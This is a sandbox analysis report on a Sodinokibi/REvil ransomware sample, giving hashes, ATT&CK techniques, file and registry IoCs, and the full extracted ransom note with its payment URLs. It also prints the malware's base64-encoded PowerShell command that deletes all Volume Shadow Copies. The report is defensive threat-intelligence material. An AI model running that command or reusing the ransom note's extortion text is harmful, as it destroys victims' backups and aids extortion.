sodinokibi | a728d45de941ca5730401f224c80fa1dcc2224477e309f5e4a1de8276939dfbf

General

Target

0c280ffb12537bca109724ec89d1ccc6.exe
Size

179KB
MD5

0c280ffb12537bca109724ec89d1ccc6
SHA1

a8d5d8d5d1b8f288e919fe303787c5e1869ad653
SHA256

a728d45de941ca5730401f224c80fa1dcc2224477e309f5e4a1de8276939dfbf
SHA512

13c15edf4f022f74b3dd57cc203dc5a6bdde773a85ae83df772d536dd4c538ac11415a7c5d8fbb8b39e5e27c52d869a4b5cb19eb7c21c799e4bd8a53440b568a
SSDEEP

3072:yEa2d8CfSXceqmPDu4lPZU/CZtpysa8ustqzhy2Is80nwnyxVps:ACqlPDuGPG/abesYzg2I70nqoDs

Score

10^/10

sodinokibi ransomware

Malware Config

Extracted

Path

C:\Users\31p0onq821-readme.txt

Family

sodinokibi

Ransom Note

---=== Welcome. CDHFUND. ===--- [+] Whats Happen? [+] Your files are encrypted, and currently unavailable. You can check it: all files on your computer has extension 31p0onq821. By the way, everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER). [+] What guarantees? [+] Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests. To check the ability of returning files, You should go to our website. There you can decrypt one file for free. That is our guarantee. If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data, cause just we have the private key. In practise - time is much more valuable than money. [+] How to get access on website? [+] You have two ways: 1) [Recommended] Using a TOR browser! a) Download and install TOR browser from this site: https://torproject.org/ b) Open our website: http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/D69187AAE6E9D61D 2) If TOR blocked in your country, try to use VPN! But you can use our secondary website. For this: a) Open your any browser (Chrome, Firefox, Opera, IE, Edge) b) Open our secondary website: http://decryptor.top/D69187AAE6E9D61D Warning: secondary website can be blocked, thats why first variant much better and more available. When you open our website, put the following data in the input form: Key: 5UyQdGyABgtsu7UKLRYU+/NdqfDZdEsXHablJU038Fxkr6NwI5mBr1zUcjejo7DY cQ7n5uVhbdGV+lDF1Zkcedb9WKy+AFpSJeuDnTJOAe+zbHra7Wm+pqoKYTJIXkNx 9tZn8+5Jc3tZxoXYXYj/gaofZ9h0CxgJLf2qFnTxpOpce3myhjKOOgVPk62hAgAV nr977VgsBD6H1McMI/ThYdMb3PfzVPEsLOPWLPc5vT06w/rEbDhsjCUs+3rBOxIe DcV/jX+jdP4QEX/dqi2kqsOnPLB+aXabs5c6LJL6asgMQK83yH/MFvsWaaC/Cub2 wwSCiQaFX+68R9giJDetRCNt7cC+m9eEoEHvBp+QSwFJaRlVi1Mkz7lwETirWcfY DqoILHBug+gH859WYAdENkvzXhYKFfQcPbrU9t6FuWQttZNHJ6qNp73iYaRJTaNA aU+9BawnDXewTrsczaUXjKWzBpxsxMHbhevuxqpIb2a4ohdly7Y7dNzuMoPcikE8 ao0C/RVJwxORuTIwCSiJrhfJjUYrhURSpss32vYIgRbD8Ld8HIu+qv1a/2jcj+C1 pQnB4xeeUIvsmjbR62lxxuMZi23moYnS4uG9cKveNj18FmHBbU3fhi2Hux5LlI/o mQJIY567Fd2cOWZR8rvai1vxSdaPdjqRTKzd2ebm5D7Z0I9uDyApPjZsGyV3+qK6 pROkE+V8IasrVw3u6XISr4pFyiCIGkp/7FtIqWJQ2xrKKJ4ehBRvb782Wfg63TeO MgH8C75UkCZpcmkwdieSMtLTD8tr6SjU3lpk7kkdmGSJ98ZPKSU9P92ffIzJ4mmw 3WmQhY03er6PPgFE/me/Jk52xUK/uiyQPlsAOPyKCnP/EBZdqxZa/RKLPBD1neED 8byYFjaOwm30YyRI6Z2sTCgnAu0DG3xBCPx0vGeJ6OP6SnWDvHm3Ao20gwU0nGlE Fhg7N9iP3z6mbkbEOFCBxTKpA9PnfuF/rlPevOhmYWR+1R9+Kv7R4oz5Ojm9rGa/ nlOXR5/tTIXOtIpU88pJeZAiIGY28iARcC42/HSSceQgfFXK8tgZpKCwsHS6+MrF be710KMyBOy4jRYzwcWJrQDxtajqhvPG1Xduffb25UjscnvjeQNeynoZ4s9mxnzq 5IK8XR/EDE/tHGesguZaEh/nqR9xJUKvxoBybflzYhpPCtVMlrStIHR5oaueMzQP 8DYNzXVJ5CPnsi8Pte+lQFPGjNE= Extension name: 31p0onq821 ----------------------------------------------------------------------------------------- !!! DANGER !!! DONT try to change files by yourself, DONT use any third party software for restoring your data or antivirus solutions - its may entail damge of the private key and, as result, The Loss all data. !!! !!! !!! ONE MORE TIME: Its in your interests to get your files back. From our side, we (the best specialists) make everything for restoring, but please should not interfere. !!! !!! !!!

URLs

http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/D69187AAE6E9D61D

http://decryptor.top/D69187AAE6E9D61D

Signatures

Sodin,Sodinokibi,REvil
Ransomware with advanced anti-analysis and privilege escalation functionality.
ransomware sodinokibi

Enumerates connected drives 3 TTPs 25 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

0c280ffb12537bca109724ec89d1ccc6.exe

description	ioc	process
File opened (read-only)	\??\I:	0c280ffb12537bca109724ec89d1ccc6.exe
File opened (read-only)	\??\O:	0c280ffb12537bca109724ec89d1ccc6.exe
File opened (read-only)	\??\Q:	0c280ffb12537bca109724ec89d1ccc6.exe
File opened (read-only)	\??\Y:	0c280ffb12537bca109724ec89d1ccc6.exe
File opened (read-only)	\??\D:	0c280ffb12537bca109724ec89d1ccc6.exe
File opened (read-only)	\??\B:	0c280ffb12537bca109724ec89d1ccc6.exe
File opened (read-only)	\??\H:	0c280ffb12537bca109724ec89d1ccc6.exe
File opened (read-only)	\??\K:	0c280ffb12537bca109724ec89d1ccc6.exe
File opened (read-only)	\??\N:	0c280ffb12537bca109724ec89d1ccc6.exe
File opened (read-only)	\??\X:	0c280ffb12537bca109724ec89d1ccc6.exe
File opened (read-only)	\??\A:	0c280ffb12537bca109724ec89d1ccc6.exe
File opened (read-only)	\??\T:	0c280ffb12537bca109724ec89d1ccc6.exe
File opened (read-only)	\??\E:	0c280ffb12537bca109724ec89d1ccc6.exe
File opened (read-only)	\??\Z:	0c280ffb12537bca109724ec89d1ccc6.exe
File opened (read-only)	\??\G:	0c280ffb12537bca109724ec89d1ccc6.exe
File opened (read-only)	\??\W:	0c280ffb12537bca109724ec89d1ccc6.exe
File opened (read-only)	\??\F:	0c280ffb12537bca109724ec89d1ccc6.exe
File opened (read-only)	\??\M:	0c280ffb12537bca109724ec89d1ccc6.exe
File opened (read-only)	\??\V:	0c280ffb12537bca109724ec89d1ccc6.exe
File opened (read-only)	\??\J:	0c280ffb12537bca109724ec89d1ccc6.exe
File opened (read-only)	\??\S:	0c280ffb12537bca109724ec89d1ccc6.exe
File opened (read-only)	\??\L:	0c280ffb12537bca109724ec89d1ccc6.exe
File opened (read-only)	\??\R:	0c280ffb12537bca109724ec89d1ccc6.exe
File opened (read-only)	\??\U:	0c280ffb12537bca109724ec89d1ccc6.exe
File opened (read-only)	\??\P:	0c280ffb12537bca109724ec89d1ccc6.exe

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

Processes:

0c280ffb12537bca109724ec89d1ccc6.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-3601492379-692465709-652514833-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\p39.bmp"	0c280ffb12537bca109724ec89d1ccc6.exe

Drops file in Program Files directory 43 IoCs

Processes:

0c280ffb12537bca109724ec89d1ccc6.exe

description	ioc	process
File opened for modification	\??\c:\program files\FindAdd.3gpp	0c280ffb12537bca109724ec89d1ccc6.exe
File opened for modification	\??\c:\program files\GetRegister.otf	0c280ffb12537bca109724ec89d1ccc6.exe
File opened for modification	\??\c:\program files\NewResume.gif	0c280ffb12537bca109724ec89d1ccc6.exe
File opened for modification	\??\c:\program files\StopHide.potm	0c280ffb12537bca109724ec89d1ccc6.exe
File opened for modification	\??\c:\program files\ConfirmResolve.zip	0c280ffb12537bca109724ec89d1ccc6.exe
File opened for modification	\??\c:\program files\UnpublishDismount.dotx	0c280ffb12537bca109724ec89d1ccc6.exe
File created	\??\c:\program files (x86)\microsoft sql server compact edition\v3.5\desktop\31p0onq821-readme.txt	0c280ffb12537bca109724ec89d1ccc6.exe
File opened for modification	\??\c:\program files\RenameExit.cfg	0c280ffb12537bca109724ec89d1ccc6.exe
File opened for modification	\??\c:\program files\RequestMeasure.potx	0c280ffb12537bca109724ec89d1ccc6.exe
File opened for modification	\??\c:\program files\ResumePublish.ppsm	0c280ffb12537bca109724ec89d1ccc6.exe
File opened for modification	\??\c:\program files\SplitClose.dot	0c280ffb12537bca109724ec89d1ccc6.exe
File opened for modification	\??\c:\program files\StopEnable.contact	0c280ffb12537bca109724ec89d1ccc6.exe
File opened for modification	\??\c:\program files\SyncStop.wm	0c280ffb12537bca109724ec89d1ccc6.exe
File opened for modification	\??\c:\program files\UseSearch.asx	0c280ffb12537bca109724ec89d1ccc6.exe
File opened for modification	\??\c:\program files\NewSync.reg	0c280ffb12537bca109724ec89d1ccc6.exe
File opened for modification	\??\c:\program files\OutDeny.sql	0c280ffb12537bca109724ec89d1ccc6.exe
File opened for modification	\??\c:\program files\RegisterTrace.tiff	0c280ffb12537bca109724ec89d1ccc6.exe
File opened for modification	\??\c:\program files\ResumeUnprotect.ttf	0c280ffb12537bca109724ec89d1ccc6.exe
File opened for modification	\??\c:\program files\ResumeUnprotect.wmf	0c280ffb12537bca109724ec89d1ccc6.exe
File opened for modification	\??\c:\program files\StepRegister.xltx	0c280ffb12537bca109724ec89d1ccc6.exe
File created	\??\c:\program files (x86)\microsoft sql server compact edition\31p0onq821-readme.txt	0c280ffb12537bca109724ec89d1ccc6.exe
File created	\??\c:\program files (x86)\microsoft sql server compact edition\v3.5\31p0onq821-readme.txt	0c280ffb12537bca109724ec89d1ccc6.exe
File opened for modification	\??\c:\program files\DismountStart.aifc	0c280ffb12537bca109724ec89d1ccc6.exe
File opened for modification	\??\c:\program files\ExitEnter.docx	0c280ffb12537bca109724ec89d1ccc6.exe
File opened for modification	\??\c:\program files\ExitSave.eps	0c280ffb12537bca109724ec89d1ccc6.exe
File created	\??\c:\program files (x86)\31p0onq821-readme.txt	0c280ffb12537bca109724ec89d1ccc6.exe
File opened for modification	\??\c:\program files\CloseImport.mp3	0c280ffb12537bca109724ec89d1ccc6.exe
File opened for modification	\??\c:\program files\InvokeDeny.mpv2	0c280ffb12537bca109724ec89d1ccc6.exe
File opened for modification	\??\c:\program files\SaveBackup.pptm	0c280ffb12537bca109724ec89d1ccc6.exe
File opened for modification	\??\c:\program files\UnregisterReceive.jpg	0c280ffb12537bca109724ec89d1ccc6.exe
File created	\??\c:\program files\31p0onq821-readme.txt	0c280ffb12537bca109724ec89d1ccc6.exe
File opened for modification	\??\c:\program files\ConvertToSkip.dwfx	0c280ffb12537bca109724ec89d1ccc6.exe
File opened for modification	\??\c:\program files\DisconnectAdd.vsdx	0c280ffb12537bca109724ec89d1ccc6.exe
File opened for modification	\??\c:\program files\FormatGrant.vdw	0c280ffb12537bca109724ec89d1ccc6.exe
File opened for modification	\??\c:\program files\SplitRepair.png	0c280ffb12537bca109724ec89d1ccc6.exe
File opened for modification	\??\c:\program files\UnregisterEdit.scf	0c280ffb12537bca109724ec89d1ccc6.exe
File opened for modification	\??\c:\program files\UninstallInstall.ADTS	0c280ffb12537bca109724ec89d1ccc6.exe
File opened for modification	\??\c:\program files\ClearComplete.dib	0c280ffb12537bca109724ec89d1ccc6.exe
File opened for modification	\??\c:\program files\GrantAssert.vst	0c280ffb12537bca109724ec89d1ccc6.exe
File opened for modification	\??\c:\program files\InstallFormat.clr	0c280ffb12537bca109724ec89d1ccc6.exe
File opened for modification	\??\c:\program files\PushNew.bmp	0c280ffb12537bca109724ec89d1ccc6.exe
File opened for modification	\??\c:\program files\ResolveReset.asf	0c280ffb12537bca109724ec89d1ccc6.exe
File opened for modification	\??\c:\program files\UndoClose.emz	0c280ffb12537bca109724ec89d1ccc6.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

0c280ffb12537bca109724ec89d1ccc6.exepowershell.exe

pid process

1928 0c280ffb12537bca109724ec89d1ccc6.exe
1892 powershell.exe

pid	process
1928	0c280ffb12537bca109724ec89d1ccc6.exe
1892	powershell.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

Processes:

powershell.exevssvc.exe

description	pid	process
Token: SeDebugPrivilege	1892	powershell.exe
Token: SeBackupPrivilege	2584	vssvc.exe
Token: SeRestorePrivilege	2584	vssvc.exe
Token: SeAuditPrivilege	2584	vssvc.exe

Suspicious use of WriteProcessMemory 4 IoCs

Processes:

0c280ffb12537bca109724ec89d1ccc6.exe

description	pid	process	target process
PID 1928 wrote to memory of 1892	1928	0c280ffb12537bca109724ec89d1ccc6.exe	powershell.exe
PID 1928 wrote to memory of 1892	1928	0c280ffb12537bca109724ec89d1ccc6.exe	powershell.exe
PID 1928 wrote to memory of 1892	1928	0c280ffb12537bca109724ec89d1ccc6.exe	powershell.exe
PID 1928 wrote to memory of 1892	1928	0c280ffb12537bca109724ec89d1ccc6.exe	powershell.exe

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\0c280ffb12537bca109724ec89d1ccc6.exe
"C:\Users\Admin\AppData\Local\Temp\0c280ffb12537bca109724ec89d1ccc6.exe"
1⤵
- Enumerates connected drives
- Sets desktop wallpaper using registry
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1928

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1892

C:\Windows\system32\wbem\unsecapp.exe
C:\Windows\system32\wbem\unsecapp.exe -Embedding
1⤵
PID:2664

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2584

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

1

T1012

Peripheral Device Discovery

1

T1120

System Information Discovery

1

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Defacement

1

T1491

Resource Development

Reconnaissance

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\31p0onq821-readme.txt
Filesize
6KB

MD5
77c98862f456a66500fcdb503b3c1b19

SHA1
f73f582495c83311eca51a90f57dfcb7d74a6e76

SHA256
bdbfb6c9a6e141008eb55333d233697af17857092f7399c0f8490303d023be24

SHA512
4b0d5a534a92e9534a906f935f6ffb78db602ab0500b58636a63718c233e8d65d3223433035afd4ec751f27aa9379450f59792a3f03627b0c980a1c002ac5faf

Download Submit
memory/1892-4-0x000000001B600000-0x000000001B8E2000-memory.dmp

Filesize
2.9MB

Download
memory/1892-5-0x0000000002350000-0x0000000002358000-memory.dmp

Filesize
32KB

Download
memory/1892-6-0x000007FEF5B40000-0x000007FEF64DD000-memory.dmp

Filesize
9.6MB

Download
memory/1892-8-0x000007FEF5B40000-0x000007FEF64DD000-memory.dmp

Filesize
9.6MB

Download
memory/1892-11-0x0000000002DC0000-0x0000000002E40000-memory.dmp

Filesize
512KB

Download
memory/1892-10-0x0000000002DC0000-0x0000000002E40000-memory.dmp

Filesize
512KB

Download
memory/1892-9-0x0000000002DC0000-0x0000000002E40000-memory.dmp

Filesize
512KB

Download
memory/1892-7-0x0000000002DC0000-0x0000000002E40000-memory.dmp

Filesize
512KB

Download
memory/1892-12-0x000007FEF5B40000-0x000007FEF64DD000-memory.dmp

Filesize
9.6MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v13

Replay Monitor

Loading Replay Monitor...

Downloads